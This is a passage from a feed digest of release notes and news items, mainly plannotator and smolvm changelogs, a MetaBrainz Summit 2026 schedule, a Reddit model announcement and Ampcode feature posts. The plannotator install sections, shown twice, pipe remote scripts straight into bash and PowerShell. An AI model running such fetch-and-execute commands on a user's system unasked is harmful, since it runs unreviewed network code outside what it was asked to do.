  A plan review opened through Pi's plannotator:request event API kept its tab after /reload or a session switch. Approving or denying in that tab called into the replaced session, Pi's stale-context error escaped the request, and Pi exited. Decision listeners now run so a thrown error can't escape, and the event API's emit is guarded. The tab stays usable: its decision is still recorded for review-status, so another extension can pick it up after a restart. The status file is now written atomically and is never wiped if it's unreadable. A plan review opened by plannotator_submit_plan now tells its open tab when the session ends ("Review Closed … your comments are saved") instead of leaving it silently dead.
  - #1865, closing #1864 reported by @vivek-gurung
  Additional changes
  - Tests can no longer reach your real Inbox. Test and dev-script helpers refuse your real data folder, and test cleanup only stops an Inbox it can prove it started. #1862
  Install / Update
  
  macOS / Linux:
```
curl -fsSL https://plannotator.ai/install.sh | bash
```
  Windows:
```
irm https://plannotator.ai/install.ps1 | iex
```
  Claude Code Plugin: The plugin and the plannotator binary update separately, so run the install script above as well. In a terminal:
```
claude plugin marketplace update plannotator
claude plugin update plannotator@plannotator
```
  Then restart Claude Code. Inside Claude Code, run /plugin marketplace update plannotator, then open /plugin → Installed → plannotator → Update now.
  
  Pi:
```
pi update --extensions
```
  OpenCode: Re-run the install script above. It now also clears the OpenCode 2 plugin cache.
  
  What's Changed
  - Tests and dev scripts can never reach the real Inbox by @backnotprop in #1862
  - Inbox: iPad and narrow windows, and phone polish by @backnotprop in #1863
  - Pi: a decision from a review tab left open across /reload no longer crashes Pi by @backnotprop in #1865
  - Inbox: focus and Back for a decision that covers its list by @backnotprop in #1866
  Community
  - @vivek-gurung reported #1864 with the stack trace, the root cause in publishDecision, and a suggested fix, which made the Pi crash quick to fix and test.
  Full Changelog : v0.28.16...v0.28.17
12. 🔗 MetaBrainz MetaBrainz Summit 2026 rss
  
  Hi everyone! Sorry if we react slowly this week, that's because our brains are all slowed down digesting all of the chocolate! Which long term readers will know means we are in Barcelona at our yearly summit all week.
  
  Today Monday 12 we will have mostly an internal organizational day to figure out how to do things with our new Executive Director Silona.
  
  Tomorrow Tuesday 13 we will have the traditional presentations about how each project has been doing the past year. Those will be live-streamed on YouTube at https://www.youtube.com/live/OQzlSWMbX8I starting around 14:00 CEST, and we will take some questions from the community in the MetaBrainz room in Matrix/Discord after each presentation!
  
  More generally, we have a list of topics we are planning to discuss on our Summit wiki page. If you feel there's some other topic that we really should be discussing, please bring it up in our chat and we'll see if we can fit it!
  
  We will update this post with more info about the rest of the week as we figure things out - please forgive us for any organizational mishaps and slowness since we are still working to figure out the changes we need to the summit format for this year after the loss of Rob, who was always the main organizer of the event. And, of course, because of all the chocolate we are trying to digest…
  
  Planning:
  
  Monday 12|
  ---|---
  Morning| Org day
  Afternoon| Org day
  Tuesday 13| CEST_
  ---|---
  Morning| Hack-sessions
  11:00: Solr Test Environment (I)
  11:00: Clickhouse Stats
  12:00: Jira 11 upgrade
  12:00: Wikidata bot upgrade
  12:00: Harmony
  Afternoon| State of the Brainz (STREAMED)
  14:00: State of MetaBrainz
  14:10: State of MusicBrainz
  14:30: State of Instruments
  14:45: State of Picard
  —
  15:30: State of BookBrainz
  15:45: State of ListenBrainz
  16:00: State of Apps
  16:30: State of the Community
  Wednesday 14| _CEST
  ---|---
  Morning| 11:00: AI Policy-Code
  12:00: AI & Infrastructure (+Funding)
  Afternoon| 14:00: Roles & Responsibilities
  15:15: Infrastructure Upgrades
  16:30: CRM
  17:00 Wed: OpenTelemetry
  17:00 Wed: GDPR / privacy policy
  17:30 Wed: Events & Editations
  17:30 Wed: Synapse (Notifications)
  Thursday 15| CEST_
  ---|---
  Morning| Hack-sessions
  11:00: Solr Test Environment (II)
  11:00: Matrix Bridge Upgrades
  12:00: ListenBrainz infrastructure
  Afternoon| Sessions
  14:00: AI Policy: Editing
  15:00: Internal Documentation
  16:00: Video Call with Board
  17:30: Product Management (metrics)
  Friday 1 6| _CEST
  ---|---
  Morning| Visit Rob's memorial spot
  Afternoon| Sessions
  14:00: Application Security (Upgrade Policy, Check up)
  14:30: Staging Imports
  15:00:SaaS
  15:30: MusicBrainz Data Analysis
  16:00: Something will come up
  17:00: Conclusion (STREAMED)
  
  Hack-sessions
  17:45: Solr Haproxy Logs
  17:45: Moods
  18:30: MB GraphQL
  
  *CEST: Central European Summer Time
13. 🔗 smol-machines/smolvm smolvm v1.27.1 release
  What's Changed
  - Branch concurrent requests with pinned ports from one source checkpoint by @BinSquare in #1725
  - Create machines from local images over the API under an opt-in local image directory by @BinSquare in #1707
  - Bump version to 1.27.1. by @BinSquare in #1726
  Full Changelog : v1.27.0...v1.27.1
14. 🔗 r/LocalLLaMA Decision 3.0: open, multimodal decision models from 0.6B to 27B. Ranks #1 on both Jev Decision Index boards rss
  
  | With the vLLM Semantic Router team we released Decision 3.0 (d3) , our new SOTA decision model family ranging from 0.6B to 27B, Apache-2.0, all reading text, images and video. How it works - Built on Qwen3.5 (0.8B / 2B / 4B / 9B) and Qwen3.8-27B. The parameter counts include the vision encoder: 0.33B in the 4B, 0.46B in the 27B. - Three decision types: choice, yes/no, score. Probability for every answer, with no text generation. Several questions about the same input are answered in one call, each from its own forward pass over the input. - Images: multiple per request, read at up to 1.6 MP. - Video: multiple per request (MP4, WebM, MOV, MKV), sampled at 2 fps, at most 32 frames over the whole clip, each at up to 0.2 MP. - BF16 weights, load with Transformers (trust_remote_code=True), trained on AMD Instinct MI325X. Results (our evaluation, official Jev 0.3 kit on the released weights) - #1 on both boards: the 27B scores 64.7 text and 71.6 vision, ahead of every listed model, Jev's own included. - Every size leads its class: the 0.6B, 0.8B, 4B and 9B each lead their size class. The 9B (d3-flash) beats our previous-generation 27B (Decision 2.0). - Video zero-shot: no model saw video in training. On all 19,140 Perception Test validation questions, the 27B scores 77.4 and the 4B scores 70.3. HF collection: https://huggingface.co/collections/vllm-sr/decision-30 submitted by /u/henzy123
  [link] [comments]
  ---|---
15. 🔗 backnotprop/plannotator v0.28.16 release
  Follow @plannotator on X for updates
  
  Missed recent releases? Release | Highlights
  ---|---
  v0.28.15 | Long Inbox threads fold to what is new, "Skipped N questions" replies, Inbox list and sidebar fixes
  v0.28.14 | Agents can replace an earlier question, comment on a guided review in the Inbox, issue numbers link to the repository
  v0.28.12 | Update notices and plannotator update, attach any file to an Inbox message, questions with context, links to attached files
  v0.28.11 | plannotator inbox --help prints a full guide for agents, and the plannotator.ai/inbox install prompt
  v0.28.10 | The Inbox over your tailnet with plannotator inbox --tailscale, images in agent messages load, click anywhere on an attachment tile
  v0.28.9 | Large Inbox messages through plannotator inbox mcp fixed, an Inbox sidebar you can close and resize, Edit Mode in reviews of several files, the new Pi logo
  v0.28.8 | The Plannotator Inbox (preview): messages, questions, files and guided reviews from your agents in one local window
  v0.28.7 | Ask this session keeps your drafts as drafts, image comments survive a reload, hostname check on every server
  v0.28.6 | Ask AI names the lines you selected, reorder quick labels and edit their emoji, Pi fixed-port crash fixed, OpenCode 2 subagent notice fixed
  v0.28.5 | Several files in one review, the plannotator tool on Pi and OpenCode 2, decisions name the exact file, Ask this session reconnects after sleep
  v0.28.4 | Comments come back after the agent edits a file, the agent can list and close its reviews, PR-description feedback no longer dropped, Pi thinking levels
  v0.28.3 | Typing into your agent while it answers an Ask no longer streams into Plannotator
  
  What's New in v0.28.16
  
  An Inbox release: it now works on a phone, it can ring when an agent asks you something, a reply with no answers no longer leaves the thread at the top, and you can step through a thread's files without going back to it.
  
  The Inbox on a phone
  
  Opened from a phone (for example over your tailnet with plannotator inbox --tailscale), the Inbox used to show the desktop layout squeezed into a narrow screen: a thread was a sliver that scrolled sideways, and the time sat on top of the agent's mark. It now works like a mail app. The list has two- line rows, a thread covers the list with a Back button that matches the system's swipe back, files open on their own screen with comments in a bottom sheet, and the reply box sits above the keyboard. Tap targets are 44px, inputs no longer zoom the page on iOS, and nothing scrolls sideways, including long links and IDs in a message. The desktop layout is unchanged.
  - #1858
  A doorbell when an agent asks you something
  
  Chrome on a Mac shows web notifications silently, so a question could arrive unnoticed. The Inbox now plays a soft two-tone doorbell when an agent asks a question while the Inbox tab is in the background. It rings once for a burst of questions, never for plain messages, and only one tab rings if several are open. Settings has a switch, a volume slider and a Play button. After this update you'll see a short one-time dialog to keep it on or turn it off, along with where your notifications stand.
  - #1856
  Mark read, and replies that don't leave the thread at the top
  
  A reply with words but no answers used to leave the thread in "Waiting on you". Now a Send skips the questions you didn't answer (a "Keep open" option keeps them), the agent is told which ones were skipped, and the thread moves on. Mark read (next to Archive, or E) moves a thread to Quiet without replying, closes its open questions and tells the agent not to wait on them, with Undo. It comes back when the agent writes again. Resolve is now called Archive. "Sent" moved below "New since you looked", and your own reply no longer reorders the list while you're still in the thread. Agents are also told to withdraw their own questions once a later message makes them moot.
  - #1857, #1860
  Step through a thread's files
  
  When a thread carries several files, a bar under the viewer reads ‹ 3 of 5 · file ⌄ ›. The arrows (or ] and [) move through every file in the thread, the middle opens a list of them grouped by message, and full screen stays full screen. Plannotator asks before you lose a comment you've typed.
  - #1855
  Replying when the agent's session has ended
  
  A reply goes to the session that asked. When that session has ended, the thread now says so, and Send lets you choose a live session in the project to take the reply, or leave it for the next agent. This shows only for sessions the Inbox knows can be woken.
  - #1853
  Additional changes
  - Wider list beside a thread. The list next to an open thread has the same drag handle as the sidebar. #1854
  - An Inbox whose data folder disappears now exits. Before, it kept running (and a leaked test Inbox spun one CPU core at 100%); now it stops within about 10 seconds, and the Inbox tests always stop what they start. #1861
  - Graphviz attachments render in the Inbox. The window's security policy now allows WebAssembly (not eval), which the Graphviz engine needs. #1859
  Install / Update
  
  macOS / Linux:
```
curl -fsSL https://plannotator.ai/install.sh | bash
```
  Windows:
```
irm https://plannotator.ai/install.ps1 | iex
```
  Claude Code Plugin: The plugin and the plannotator binary update separately, so run the install script above as well. In a terminal:
```
claude plugin marketplace update plannotator
claude plugin update plannotator@plannotator
```
  Then restart Claude Code. Inside Claude Code, run /plugin marketplace update plannotator, then open /plugin → Installed → plannotator → Update now.
  
  Pi:
```
pi update --extensions
```
  OpenCode: Re-run the install script above. It now also clears the OpenCode 2 plugin cache.
  
  What's Changed
  - Inbox: when the asking session has ended, choose who takes your reply by @backnotprop in #1853
  - Inbox: drag to widen the list beside an open thread by @backnotprop in #1854
  - Inbox: step through a thread's attachments without leaving the viewer by @backnotprop in #1855
  - Inbox: a soft doorbell when an agent asks you something by @backnotprop in #1856
  - Inbox: Mark read, and a Send skips the questions you didn't answer by @backnotprop in #1857
  - Inbox: a phone layout that works like a mail app by @backnotprop in #1858
  - Inbox: Graphviz attachments render (allow WebAssembly in the window's CSP) by @backnotprop in #1859
  - Inbox: one Send is one reply when one agent wrote the thread by @backnotprop in #1860
  - Inbox: an Inbox whose data folder is gone exits instead of spinning by @backnotprop in #1861
  Full Changelog : v0.28.15...v0.28.16
16. 🔗 smol-machines/smolvm smolvm v1.27.0 release
  What's Changed
  - Retry removing a machine's data while something still writes into it, and log what was left by @BinSquare in #1679
  - Keep public HTTPS trust in credentialed minimal images by @BinSquare in #1697
  - Load the native root certificates once per process by @BABTUNA in #1692
  - Read only the data ranges of a VM disk when packing it by @BABTUNA in #1690
  - Run idle reclaim on Windows by @BinSquare in #1685
  - Prevent guest file reads from hanging on named pipes by @BinSquare in #1684
  - Bump libkrunfw to the Linux 6.18.55 guest kernel by @BinSquare in #1704
  - Preserve split UTF-8 characters in streamed exec output by @BinSquare in #1715
  - Forward stdin through streamed machine exec by @BinSquare in #1714
  - Keep streamed exec responsive to partial stdin frames by @BinSquare in #1716
  - Prepare file access without running commands from guest images by @BinSquare in #1700
  - Keep running VMs alive when serve startup fails by @BinSquare in #1717
  - Reuse a manifest pulled by digest instead of fetching it from the registry again by @BinSquare in #1718
  - Fix mirrored image cache keys and credential scoping by @BinSquare in #1686
  - Answer the readiness doorbell in pack run by @BABTUNA in #1720
  - Bound queued output for streamed API exec by @BinSquare in #1711
  - Report guest exec timeouts in direct and streaming responses by @BinSquare in #1703
  - Give each embedded control test its own database even within one clock tick by @BinSquare in #1677
  - Confirm macOS process exit events before reporting VM shutdown by @BinSquare in #1670
  - Bump libkrun to the Windows performance work by @BinSquare in #1722
  - Allow HTTP fallback for credentialed WebSocket clients by @BinSquare in #1698
  - Allow opt-in OAuth form credential substitution by @BinSquare in #1699
  - Accept pure OCI archives as local machine images by @BinSquare in #1710
  - Give credential interception leaves Authority and Subject Key Identifiers so strict TLS verification accepts them by @BinSquare in #1723
  - Bump version to 1.27.0. by @BinSquare in #1724
  Full Changelog : v1.26.1...v1.27.0
17. 🔗 Ampcode News First Things First, Faster rss
  
  The Changes pane now automatically puts files in an intelligent order. Amp reads the diff, identifies the files that are essential to the change, and puts them first.
  
  If the diff changes, Amp computes an updated order without rearranging the files while you’re reviewing them. Instead, a blue dot will appear over the intelligent ordering button, which you can click to apply the updated order.
  
  The new automatic intelligent ordering is computed much more rapidly. Here is a comparison of the same diff ordered by both the old and new method:
  
  You can optionally go back to alphabetical file ordering by clicking the ordering button.
18. 🔗 Ampcode News You've Got Comments rss
  
  Amp now follows up on GitHub pull requests it opens. Comments, reviews, and CI results show up in the same thread.
  
  When Amp opens a PR, the agent can now subscribe to the PR's comments, reviews, and CI for its latest commit. A failing check or a reviewer's question shows up in the same thread, and Amp already has the context to deal with it.
  
  This is enabled by our new first-class support for GitHub Webhooks. In contrast to our existing, more generic webhook support, the new GitHub Webhook integration centrally handles all requests on the Amp side and then lets you (and your agent) decide whether to forward them to a single orb or to a new one each time. An agent can subscribe to certain events or can set up a subscription that spawns new orbs.
  
  A New Orb for Every New GitHub Issue or PR
  
  Ask Amp to start a new orb for every new issue or PR in a repository. You can also limit it to ones opened with a certain label. You don't need to keep the thread where you set it up.
  
  Each new issue or PR gets its own orb, which reads it and has a summary waiting when you open the thread. Later comments on that issue or PR go to the same thread, so the conversation stays in one place.
  
  You manage these in Settings → MCP & Integrations → GitHub, where you can edit or pause them and see the orbs each one started.
  
  Read the docs to find out how to watch CI when you push to main, follow an existing issue or PR, and ask Puck what Amp is following.
  
  Install the Amp GitHub App on your repository to get started.
19. 🔗 muffinman GB Pixel Art Jam 2026 - SpaceDeck Trio rss
  
  I participated in my first pixel art jam! It was a Game Boy themed one. It was a lot of fun to work with such a limited palette. The theme was Three , and I went with three player ships from SpaceDeck X. I was happy to see how well my sprites translate into the Game Boy's original colors.
  
  Once I finished drawing it, I had to animate it, so here is the animated version:
  
  I even toyed with the idea of making a small demo game for it (not a real Game Boy cartridge), but due to the time limit, I went with a single animation (which has 48 frames).
  
  I use Aseprite to draw and animate. You can find my jam submission here. Hope you like it!